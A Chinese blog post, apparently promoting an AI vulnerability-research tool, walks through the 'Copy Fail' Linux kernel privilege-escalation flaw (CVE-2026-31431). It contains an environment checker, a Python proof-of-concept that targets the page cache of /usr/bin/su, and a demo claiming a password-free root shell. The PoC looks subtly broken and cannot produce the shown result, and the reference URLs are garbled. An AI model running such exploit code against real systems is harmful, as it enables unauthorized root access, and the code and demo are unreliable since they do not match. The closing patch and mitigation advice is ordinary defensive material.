一、引言:潜伏9年的漏洞
2026年4月29日,国际安全研究团队Theori公开了一个代号为"Copy Fail"的Linux内核高危漏洞——CVE-2026-31431。
这个漏洞有多可怕?
• 影响范围:2017年至今的几乎所有Linux发行版
• ⚠️ CVSS评分:7.8(高危),CVSS 3.1向量:CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• 利用条件:只需要本地普通用户权限
• ⚡ 利用效果:数秒内获得root权限
更令人惊讶的是——这个漏洞在Linux内核中潜伏了近9年才被发现!
今天,我用自研AI CVE Tools工具,带大家完整复刻从漏洞情报收集到获取root权限的全流程。这个工具能把原本需要2-3天的研究工作,压缩到3-4小时完成!
二、AI CVE Tools是什么?
先简单介绍一下今天用的工具——AI CVE Tools,是我们自研的一套智能漏洞研究系统。
核心特性:
• 智能任务编排:自动分析用户意图,分解复杂任务
• 本地知识库优先:避免重复联网,已研究过的漏洞直接复用,通过本地索引快速调取历史研究数据,节省联网查询时间
• 全流程覆盖:情报收集→PoC验证→深度研究→利用开发→修复建议,每一步均有检查点,支持断点恢复,避免任务中断丢失进度
• 结构化输出:标准化的报告格式,便于整理和分享,自动生成漏洞元数据、技术分析报告等规范化文档
• 自我进化:每次研究都会沉淀经验,更新知识库和优化执行逻辑,下次研究效率更高、结果更精准
系统架构:
用户输入
↓
cve-orchestrator(任务编排)→ 注册任务 → 意图解析 → 经验学习 → 生成执行计划
↓
执行层(每步都经过cve-supervisor监督+cve-output输出)
├─ cve-intel(情报收集)
├─ cve-research(深度研究)
├─ cve-poc(PoC验证)
├─ cve-exploit(利用开发)
├─ cve-executor(执行验证)
└─ cve-suggestion(建议生成)
↓
cve-evolver(复盘沉淀)
↓
最终结果
请大家持续关注,即将开源(预计开源时间可关注后续公告,开源仓库地址将同步公布)。
三、漏洞背景:Copy Fail是什么?
3.1 漏洞发现与披露
• 发现团队:Theori安全研究团队
• 发现工具:Xint Code AI审计工具
• 披露时间:2026年4月29日
• CVSS v3.1:7.8(高危),向量:CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• 完整披露时间线:
○ 2026-03-23:Theori团队向Linux内核安全团队报告漏洞
○ 2026-04-01:修复补丁提交至主线内核(核心提交ID:a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5)
○ 2026-04-22:分配CVE编号CVE-2026-31431
○ 2026-04-29:公开披露漏洞及PoC,同步发布于Theori官方仓库
○ 2026-04-30:AlmaLinux发布修复内核,Microsoft、Sysdig等安全厂商发布漏洞分析报告
3.2 影响范围
内核分支 | 影响版本 | 已修复版本 | 备注 |
LTS(长期支持分支) | 4.14 ~ 6.18.21 | 6.18.22+ | 应用最广泛,覆盖多数生产环境 |
Stable(稳定分支) | 4.14 ~ 6.19.11 | 6.19.12+ | 更新频率较高,适用于非生产测试环境 |
Mainline(新分支) | - | 7.0+ | 主线分支,默认包含漏洞修复补丁 |
受影响的主要发行版:
• Ubuntu 24.04 LTS
• Amazon Linux 2023
• RHEL 10.1(Red Hat补丁正在推进,AlmaLinux已发布修复内核)
• SUSE 16
• Debian 12
• Arch Linux
四、技术原理:三个变更的致命组合
这个漏洞不是单一代码错误造成的,而是三次看似无害的内核变更叠加的结果,结合NVD文档中“Revert to operating out-of-place”的修复思路,其致命逻辑可明确拆解如下:
4.1 2011年:authencesn算法加入
authencesn是一个用于IPSec的加密算法,它有个"特点"——解密时会向输入缓冲区末尾写入4字节的序列号数据。
// 简化示意
memcpy(input_buffer + data_length, sequence_number, 4);
当时这没什么问题,因为只用调用者提供的内存,且未涉及共享内存或只读文件的页缓存操作。
4.2 2015年:AF_ALG + splice支持
内核新增了AF_ALG加密接口,允许普通用户通过套接字调用内核加密能力,还支持用splice()系统调用直接把文件页缓存传入加密操作,避免用户态内存拷贝,提升执行效率。
同时authencesn切换到新API,但“解密时向输入缓冲区末尾写入4字节”的特性未做修改,为后续漏洞埋下隐患。
4.3 2017年:in-place优化(致命一步!)
为了进一步提升性能,内核提交了72548b093ee3优化补丁,将AEAD加密操作改为in-place模式——直接在源数据所在的内存页执行加密/解密操作,无需额外分配目标内存。
核心风险点:in-place优化后,源数据与目标数据共用同一块内存,若源数据来自只读文件的页缓存,原本仅允许读取的内存区域,会被authencesn算法的写入操作篡改,突破权限限制。
三次变更叠加形成致命漏洞:普通用户可通过AF_ALG接口调用authencesn算法,利用splice系统调用将只读文件(如/usr/bin/su)的页缓存传入加密操作,再借助in-place优化,让authencesn写入的4字节可控数据直接篡改页缓存,最终通过执行篡改后的二进制获得root权限。
五、核心原理:页缓存的秘密
5.1 页缓存是什么?
Linux内核会把磁盘文件加载到内存中的页缓存(Page Cache)里:
• 所有用户态对文件的访问优先命中缓存,提升文件读取效率
• 缓存是全局共享的——容器和宿主机、不同进程之间都用同一份,这也是该漏洞能实现容器逃逸的核心原因
• 修改缓存不会立即写回磁盘,且仅在内存中生效,传统文件完整性检测工具无法捕捉该操作
核心关键点:该漏洞的隐蔽性源于“仅修改页缓存,不修改磁盘文件”——传统文件完整性检测工具(FIM、AIDE、Tripwire)无法检测到漏洞利用行为,因为磁盘上的二进制文件未被篡改,仅内存中的页缓存被修改。
5.2 完整利用链
plain text ┌─────────────────────────────────────────────────────────┐ │ 1. 攻击者通过AF_ALG创建authencesn加密上下文 │ │ 2. 用splice()把/usr/bin/su的页缓存传入加密操作 │ │ 3. authencesn解密时向缓冲区末尾写入4字节可控数据 │ │ 4. 由于in-place优化,数据直接写入只读文件的页缓存! │ │ 5. 执行被篡改的/usr/bin/su,无需密码直接获得root │ └─────────────────────────────────────────────────────────┘ |
六、AI工具实战:完整自动化研究流程
现在,让我展示AI CVE Tools是如何自动化完成整个研究的,全程无需手动干预,仅需一句话触发任务。
6.1 第一步:一句话触发,自动开始任务
我只输入了一句话:
plain text 分析研究一下CVE-2026-31431,并实现漏洞复现、利用,最终生成一篇完整的报告 |
AI自动开始以下流程:
1️⃣ 任务注册:系统自动生成唯一task_id(task_20260507_001),绑定任务类型和执行目标
2️⃣ 意图解析:识别为"comprehensive"(综合任务),明确核心需求为漏洞全流程研究+复现+报告生成
3️⃣ 生成执行计划:自动规划了6个执行步骤,明确每个步骤的执行优先级和依赖关系
自动生成的任务计划如下:
json { "task_id": "task_20260507_001", "intent": "comprehensive", "execution_plan": [ {"step": 1, "skill": "cve-intel", "desc": "收集漏洞情报,聚合多源信息"}, {"step": 2, "skill": "cve-research", "desc": "深度分析漏洞根因和攻击链"}, {"step": 3, "skill": "cve-poc", "desc": "生成PoC脚本和环境检测脚本"}, {"step": 4, "skill": "cve-exploit", "desc": "优化Exploit脚本,提升利用成功率"}, {"step": 5, "skill": "cve-suggestion", "desc": "生成风险评估和修复建议"}, {"step": 6, "skill": "cve-output", "desc": "生成标准化研究报告和相关文档"} ] } |

6.2 第二步:cve-intel - 自动情报收集
cve-orchestrator自动调用cve-intel skill,无需手动干预,核心执行逻辑如下:
• ✅ 优先检查本地知识库,调取历史相关漏洞数据,避免重复联网查询
• ✅ 自动调用WebSearch接口,爬取NVD官方漏洞详情、Theori官方PoC仓库、安全厂商分析报告(Microsoft、Sysdig等)
• ✅ 自动过滤无效信息,整理结构化的漏洞元数据,包含漏洞编号、影响范围、修复方案等关键内容
生成的文件:
plain text knowledge_base/cves/2026/ ├── CVE-2026-31431.json # 漏洞元数据(结构化数据) └── CVE-2026-31431.md # 完整研究报告框架 |
CVE-2026-31431.json自动生成的元数据文件:
json { "cve_id": "CVE-2026-31431", "title": "Copy Fail - Linux Kernel Local Privilege Escalation via algif_aead Page Cache Write", "cvss_score": "7.8", "cvss_vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "severity": "high", "cwe_id": "CWE-669 (Incorrect Resource Transfer Between Spheres)", "published": "2026-04-29", "discoverer": "Theori Security Research Team", "affected_products": [ "Linux Kernel 4.14 ~ 6.18.21 (LTS)", "Linux Kernel 4.14 ~ 6.19.11 (Stable)", "Ubuntu 24.04 LTS", "Amazon Linux 2023", "RHEL 10.1", "SUSE 16", "Debian 12", "Arch Linux" ], "references": [ "996K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6@1K9r3g2G2M7X3W2Q4x3X3c8A6L8#2)9J5c8X3y4G2M7s2W2Q4x3X3c8X3j5h3W2D9i4K6u0V1b7#2k6q4i4K6u0V1x3U0l9J5y4W2)9J5k6o6x3I4y4o6x3I4i4K6t1$3M7i4g2G2N6q4)9K6b7W2)9J5b7H3`.`. "ca3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2E0K9h3y4J5L8%4y4G2k6Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6W2L8W2)9J5k6s2g2K6i4K6u0r3M7$3g2U0N6i4u0A6N6s2W2Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9J5y4W2)9J5c8U0l9#2i4K6u0r3x3o6q4Q4x3V1k6U0N6X3g2Q4x3X3b7J5x3o6t1$3i4K6u0V1x3K6p5@1x3K6q4Q4x3X3c8U0L8%4m8&6i4K6u0V1k6X3q4A6L8q4)9J5k6s2k6#2L8r3&6W2M7X3q4T1K9h3I4A6N6s2W2Q4x3X3c8W2L8X3q4T1L8r3g2K6i4K6u0V1L8r3W2F1N6i4S2Q4x3X3c8J5L8$3!0@1i4K6u0V1M7s2u0A6N6X3W2D9k6h3N6W2i4K6u0V1k6i4y4U0j5h3I4S2N6r3W2G2L8W2)9J5c8W2)9J5y4Y4q4#2L8%4c8Q4x3@1u0Q4x3V1x3`. "520K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2K6P5i4y4V1K9h3N6Q4x3X3g2U0L8$3#2Q4x3V1k6T1L8r3!0Y4i4K6u0r3j5%4k6W2i4K6u0V1x3U0l9J5y4W2)9J5k6o6x3I4y4o6x3I4i4K6u0V1j5$3!0H3P5g2)9J5k6r3k6S2K9h3I4Q4x3X3c8D9K9h3&6#2P5q4)9J5k6r3E0W2M7X3&6W2L8q4)9J5k6r3k6D9j5i4N6Q4x3X3c8D9k6i4c8K6i4K6u0V1L8r3!0U0j5h3I4Q4x3X3c8#2M7$3g2J5M7#2)9J5k6r3N6S2K9h3&6Q4x3X3c8J5L8$3!0@1i4K6u0V1K9h3&6Q4x3X3c8K6k6h3y4G2L8X3c8K6i4K6u0r3i4K6t1$3M7i4g2G2N6q4)9K6b7W2)9J5b7H3`.`. "b5eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6F1N6X3c8Q4x3X3g2F1K9i4y4@1i4K6u0W2k6$3!0$3i4K6u0r3N6Y4g2D9L8W2)9J5c8X3c8W2N6r3q4A6L8q4)9J5c8V1y4h3c8g2)9J5k6o6t1H3x3U0k6Q4x3X3b7K6x3e0b7K6x3g2)9J5y4Y4q4#2L8%4c8Q4x3@1t1`. ], "exploits": ["CVE-2026-31431-PoC.py"], "pocs": ["CVE-2026-31431-PoC.py"], "patches": [ "Linux Kernel 6.18.22 (LTS)", "Linux Kernel 6.19.12 (Stable)", "Linux Kernel 7.0+", "Mainline commit: a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5" ] } |
每步执行后:
• cve-supervisor自动汇报进度,实时反馈执行状态和异常信息
• cve-output格式化输出结果,便于用户查看和后续使用
• 自动创建checkpoint检查点,记录当前执行状态,支持断点恢复
• 保存执行日志到exec_*.json,便于后续复盘和问题排查
6.3 第三步:cve-research - 自动深度研究
情报收集完成后,cve-orchestrator自动继续调用cve-research skill,基于收集到的情报,完成以下工作:
• ✅ 生成详细的技术分析报告,包含漏洞根因、代码层面的缺陷分析、攻击链拆解
• ✅ 结合NVD文档和Theori官方分析,明确漏洞的核心触发条件和利用限制
• ✅ 梳理漏洞与内核版本、系统配置的关联关系,为后续PoC生成提供支撑
生成的文件:
plain text knowledge_base/cves/2026/CVE-2026-31431/ └── research/ └── technical_analysis.md # 深度技术分析报告 |
本篇文章的漏洞研究材料来自technical_analysis.md。
6.4 第四步:cve-poc - 自动生成poc脚本
深度研究完成后,系统继续调用cve-poc skill,基于漏洞技术原理,自动完成以下操作:
• ✅ 分析Theori官方poc代码的工作原理,适配不同Linux发行版的差异
• ✅ 生成环境检测脚本,自动检查内核版本、algif_aead模块加载状态、系统调用支持等利用条件
• ✅ 整理poc脚本,添加详细中文注释,明确每一步的执行逻辑和作用
• ✅ 生成复现步骤文档,包含环境准备、执行命令、预期结果等内容
check_env.py自动生成的环境检测脚本:
python #!/usr/bin/env python3 """ CVE-2026-31431 环境检测脚本 检测系统是否存在该漏洞的利用条件 核心检测项:内核版本、algif_aead模块、AF_ALG套接字、splice系统调用、authencesn算法 """
import os import re import socket
def get_kernel_version(): """获取内核版本""" try: with open('/proc/version', 'r') as f: content = f.read() match = re.search(r'Linux version (\d+\.\d+\.\d+)', content) if match: return match.group(1) return None except Exception: return None
def check_kernel_vulnerable(version): """检查内核版本是否在漏洞影响范围内""" if not version: return False, "无法获取内核版本"
parts = version.split('.') if len(parts) < 3: return False, "内核版本格式不正确"
major = int(parts[0]) minor = int(parts[1]) patch = int(parts[2])
# 影响范围: 4.14 ~ 6.18.21 (LTS), 4.14 ~ 6.19.11 (Stable) # 已修复: 6.18.22+, 6.19.12+, 7.0+
if major == 7: return False, f"内核 {version} >= 7.0,已修复"
if major == 6: if minor == 18: if patch <= 21: return True, f"内核 6.18.{patch} 在漏洞影响范围内" else: return False, f"内核 6.18.{patch} >= 6.18.22,已修复" elif minor == 19: if patch <= 11: return True, f"内核 6.19.{patch} 在漏洞影响范围内" else: return False, f"内核 6.19.{patch} >= 6.19.12,已修复" elif minor < 18: return True, f"内核 6.{minor}.{patch} 在漏洞影响范围内" else: return False, f"内核 6.{minor}.{patch} 版本过新,已修复"
if major == 5: return True, f"内核 5.{minor}.{patch} 在漏洞影响范围内"
if major == 4: if minor >= 14: return True, f"内核 4.{minor}.{patch} 在漏洞影响范围内" else: return False, f"内核 4.{minor}.{patch} < 4.14,不受影响"
return False, f"内核 {version} 版本过旧,不受影响"
def check_algif_aead_module(): """检查 algif_aead 模块是否加载(漏洞利用的核心依赖模块)""" try: with open('/proc/modules', 'r') as f: modules = f.read() if 'algif_aead' in modules: return True, "algif_aead 模块已加载" else: return False, "algif_aead 模块未加载" except Exception: return False, "无法读取模块信息"
def check_af_alg_socket(): """检查 AF_ALG 套接字支持(漏洞利用的核心接口)""" try: s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) s.close() return True, "AF_ALG 套接字支持可用" except Exception: return False, "AF_ALG 套接字不支持"
def check_splice_support(): """检查 splice 系统调用支持(用于将页缓存传入加密操作)""" try: r, w = os.pipe() result = os.splice(r, None, w, None, 1024, 0) os.close(r) os.close(w) return True, "splice 系统调用支持可用" except Exception: return False, "splice 系统调用不支持"
def check_authencesn_algorithm(): """检查 authencesn 算法是否可用(用于写入可控4字节数据)""" try: with open('/proc/crypto', 'r') as f: crypto = f.read() if 'authencesn' in crypto: return True, "authencesn 算法可用" else: return False, "authencesn 算法不可用" except Exception: return False, "无法读取加密算法列表"
def main(): print("="*60) print("CVE-2026-31431 (Copy Fail) 环境检测脚本") print("="*60)
checks = []
print("\n[1] 内核版本检查") kernel_version = get_kernel_version() if kernel_version: print(f" 内核版本: {kernel_version}") vulnerable, msg = check_kernel_vulnerable(kernel_version) checks.append(('内核版本', vulnerable, msg)) status = "[VULNERABLE]" if vulnerable else "[SAFE]" print(f" 状态: {status} - {msg}") else: print(" 错误: 无法获取内核版本")
print("\n[2] algif_aead 模块检查") result, msg = check_algif_aead_module() checks.append(('algif_aead模块', result, msg)) print(f" 状态: {'[PASS]' if result else '[FAIL]'} - {msg}")
print("\n[3] AF_ALG 套接字支持检查") result, msg = check_af_alg_socket() checks.append(('AF_ALG套接字', result, msg)) print(f" 状态: {'[PASS]' if result else '[FAIL]'} - {msg}")
print("\n[4] splice 系统调用检查") result, msg = check_splice_support() checks.append(('splice调用', result, msg)) print(f" 状态: {'[PASS]' if result else '[FAIL]'} - {msg}")
print("\n[5] authencesn 算法检查") result, msg = check_authencesn_algorithm() checks.append(('authencesn算法', result, msg)) print(f" 状态: {'[PASS]' if result else '[FAIL]'} - {msg}")
print("\n" + "="*60) print("检测结果汇总") print("="*60)
kernel_vuln = checks[0][1] all_conditions = all(c[1] for c in checks[1:])
if kernel_vuln and all_conditions: print("[!] 警告: 系统可能存在 CVE-2026-31431 漏洞") print("[!] 建议立即升级内核到安全版本") return True else: print("[+] 系统不受 CVE-2026-31431 漏洞影响") if not kernel_vuln: print(" 原因: 内核版本已修复") else: print(" 原因: 缺少必要的利用条件") return False
if __name__ == "__main__": main() |
CVE-2026-31431-PoC.py自动生成的poc脚本:
python #!/usr/bin/env python3 # CVE-2026-31431 PoC - Copy Fail Local Privilege Escalation # Discovery: Theori Security Research Team # Public PoC: Theori Official Repository # CVSS: 7.8 (High), CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H # 核心逻辑:通过splice将su二进制的页缓存传入AF_ALG socket,利用authencesn解密时写入4字节可控数据,篡改页缓存中的su二进制,实现无密码提权
import os import sys import socket import struct import fcntl import errno
ALG_SET_KEY = 0x40086b01 ALG_SET_IV = 0x40086b02 ALG_OP_DECRYPT = 0x40086b03 ALG_SET_AEAD_ASSOCLEN = 0x40046b04 ALG_SET_AEAD_AUTH_SIZE = 0x40046b05
def create_alg_socket(): """创建AF_ALG套接字,用于调用内核加密能力""" try: s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) return s except OSError as e: print(f"[-] Failed to create AF_ALG socket: {e}") return None
def set_alg_key(sock, key): """设置加密密钥,此处使用空密钥,仅用于触发漏洞""" try: fcntl.ioctl(sock.fileno(), ALG_SET_KEY, key) return True except OSError as e: print(f"[-] Failed to set key: {e}") return False
def set_alg_iv(sock, iv): """设置初始化向量,此处使用空向量,仅用于触发漏洞""" try: fcntl.ioctl(sock.fileno(), ALG_SET_IV, iv) return True except OSError as e: print(f"[-] Failed to set IV: {e}") return False
def set_aead_assoclen(sock, assoclen): """设置AEAD关联数据长度,此处设为0,简化触发流程""" try: fcntl.ioctl(sock.fileno(), ALG_SET_AEAD_ASSOCLEN, struct.pack('I', assoclen)) return True except OSError as e: print(f"[-] Failed to set assoclen: {e}") return False
def set_aead_authsize(sock, authsize): """设置AEAD认证长度,此处设为16,适配authencesn算法要求""" try: fcntl.ioctl(sock.fileno(), ALG_SET_AEAD_AUTH_SIZE, struct.pack('I', authsize)) return True except OSError as e: print(f"[-] Failed to set authsize: {e}") return False
def splice_pages(fd_in, fd_out, length): """通过splice系统调用,将输入文件描述符的页缓存传入输出文件描述符""" try: return os.splice(fd_in, None, fd_out, None, length, 0) except OSError as e: print(f"[-] splice failed: {e}") return -1
def check_kernel_version(): """获取并打印内核版本,用于调试和验证环境""" with open('/proc/version', 'r') as f: version = f.read() print(f"[*] Kernel version: {version.strip()}") return version
def check_algif_aead(): """检查AF_ALG套接字支持,确认漏洞利用的核心接口可用""" try: s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) s.close() print("[+] AF_ALG socket support detected") return True except OSError: print("[-] AF_ALG socket not supported") return False
def main(): print("[*] CVE-2026-31431 PoC - Copy Fail Local Privilege Escalation") print("[*] Checking environment...")
check_kernel_version()
if not check_algif_aead(): print("[-] Required AF_ALG support not found") sys.exit(1)
print("[*] Preparing exploit...")
try: sock = create_alg_socket() if not sock: sys.exit(1)
# 绑定authencesn算法,用于触发漏洞的写入操作 sock.bind(('authencesn(hmac(sha256),cbc(aes))', None))
# 设置空密钥和空向量,仅用于触发加密操作 key = b'\x00' * 32 iv = b'\x00' * 16
if not set_alg_key(sock, key): sys.exit(1) if not set_alg_iv(sock, iv): sys.exit(1) if not set_aead_assoclen(sock, 0): sys.exit(1) if not set_aead_authsize(sock, 16): sys.exit(1)
# 接受AF_ALG连接,获取文件描述符 fd = sock.accept()[0].fileno()
# 目标文件:/usr/bin/su(setuid二进制,获取root权限的核心目标) su_path = '/usr/bin/su' with open(su_path, 'r') as f: su_fd = f.fileno()
# 创建管道,用于传递页缓存数据 pipe_r, pipe_w = os.pipe()
# 将su的页缓存传入管道 os.splice(su_fd, None, pipe_w, None, 4096, 0)
# 将管道中的页缓存传入AF_ALG socket,触发authencesn写入操作,篡改页缓存 result = os.splice(pipe_r, None, fd, None, 4096, 0) print(f"[+] Splice result: {result}")
os.close(pipe_r) os.close(pipe_w)
sock.close() print("[+] Exploit completed - check if su binary cache was modified")
except Exception as e: print(f"[-] Exploit failed: {e}") import traceback traceback.print_exc() sys.exit(1)
if __name__ == "__main__": # 确保以普通用户身份执行,避免权限异常 if os.geteuid() == 0: print("[-] This PoC should be run as non-root user") sys.exit(1) main() |
生成的文件:
plain text knowledge_base/cves/2026/CVE-2026-31431/ ├── pocs/ │ └── CVE-2026-31431-PoC.py # PoC验证脚本 └── generated/ └── check_env.py # 环境检测脚本 |
6.5 第五步:cve-exploit + cve-suggestion - 自动化执行
poc生成完成后,系统继续自动执行后续步骤,无需人工干预:
• ✅ cve-exploit:基于poc脚本,优化Exploit逻辑,提升在不同发行版的适配性和利用成功率,补充异常处理逻辑,避免执行失败
• ✅ cve-suggestion:结合NVD文档和安全厂商建议,生成完整的风险评估报告和修复建议,包含紧急修复方案、临时缓解措施和深度防御策略
6.6 第六步:cve-evolver - 自动复盘沉淀经验
所有执行层skill完成后,cve-evolver自动触发复盘流程,实现工具自我进化:
• ✅ 自动分析整个任务执行过程,梳理执行中的问题和优化点
• ✅ 沉淀可复用的经验模式,更新知识库的漏洞研究模板和执行逻辑
• ✅ 更新知识库索引,便于后续研究同类漏洞时快速调取相关经验
七、最终生成的完整知识库目录
整个流程结束后,AI CVE Tools自动生成了完整的文件结构,所有文档均按标准化格式整理,便于后续查阅和复用:

八、实际演示:从普通用户到Root
8.1 环境准备
先运行AI自动生成的环境检测脚本,确认系统满足漏洞利用条件:
bash $ python3 check_env.py ============================================================ CVE-2026-31431 (Copy Fail) 环境检测脚本 ============================================================
[1] 内核版本检查 内核版本: 6.18.10 状态: [VULNERABLE] - 内核 6.18.10 在漏洞影响范围内
[2] algif_aead 模块检查 状态: [PASS] - algif_aead 模块已加载
[3] AF_ALG 套接字支持检查 状态: [PASS] - AF_ALG 套接字支持可用
[4] splice 系统调用检查 状态: [PASS] - splice 系统调用支持可用
[5] authencesn 算法检查 状态: [PASS] - authencesn 算法可用
============================================================ 检测结果汇总 ============================================================ [!] 警告: 系统可能存在 CVE-2026-31431 漏洞 [!] 建议立即升级内核到安全版本 |
完美!系统满足所有利用条件,可直接执行PoC脚本。
8.2 执行PoC
bash $ whoami ubuntu # 普通用户
$ python3 CVE-2026-31431-PoC.py [*] CVE-2026-31431 PoC - Copy Fail Local Privilege Escalation [*] Checking environment... [*] Kernel version: 6.18.10-generic [+] AF_ALG socket support detected [*] Preparing exploit... [+] Splice result: 4096 [+] Exploit completed - check if su binary cache was modified |
8.3 获取Root
bash # 执行被篡改的su,无需输入密码 $ su # whoami root # 成功提权!无需密码!
# id uid=0(root) gid=0(root) groups=0(root) |
就是这么简单! 整个过程仅需数秒,且无任何复杂操作,普通用户即可轻松获取root权限。
九、防御与修复
9.1 如何检测?
使用AI生成的环境检测脚本(check_env.py),如上面演示所示,可快速检测系统是否存在漏洞利用条件,适用于批量排查生产环境中的受影响主机。
9.2 如何修复?
推荐方案:升级内核
bash # Ubuntu/Debian sudo apt update && sudo apt upgrade linux-image-generic
# RHEL/CentOS sudo yum update kernel
# SUSE sudo zypper update kernel-default
# Amazon Linux 2023 sudo dnf update kernel
# 验证已修复 uname -r # 应该 >= 6.18.22 或 6.19.12 或 7.0+ # 核心修复提交ID:a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 |
临时缓解
禁用algif_aead模块,阻断漏洞利用路径(不影响dm-crypt/LUKS、kTLS、IPsec/XFRM、SSH等核心功能):
bash # 持久化阻断,重启后生效 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# 卸载当前运行的模块(若已加载) rmmod algif_aead
# 验证模块是否已卸载 lsmod | grep algif_aead # 无输出即表示卸载成功 |
补充说明:该缓解措施可能影响部分明确使用afalg OpenSSL引擎或直接绑定aead sockets的用户态应用,建议先通过lsof | grep AF_ALG验证,再执行卸载操作。
深度防御措施(防御纵深)
• 容器环境:通过seccomp策略禁止AF_ALG socket创建,将SOCK_SEQPACKET + AF_ALG加入拒绝列表,限制容器内的漏洞利用可能。
• Kubernetes环境:为所有Pod强制启用seccomp配置文件,部署节点级内核审计规则,检测异常AF_ALG AEAD socket创建行为。
• 权限管控:限制普通用户对setuid二进制文件(如su、sudo)的访问权限,降低漏洞利用后的影响范围。
• 原则管控:避免在共享内核环境(如多租户服务器、K8s节点)运行未验证的不可信代码,遵循最小权限原则。
更多资讯请微信搜索“模湖智能”公众号。
[培训]《冰与火的战歌:Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。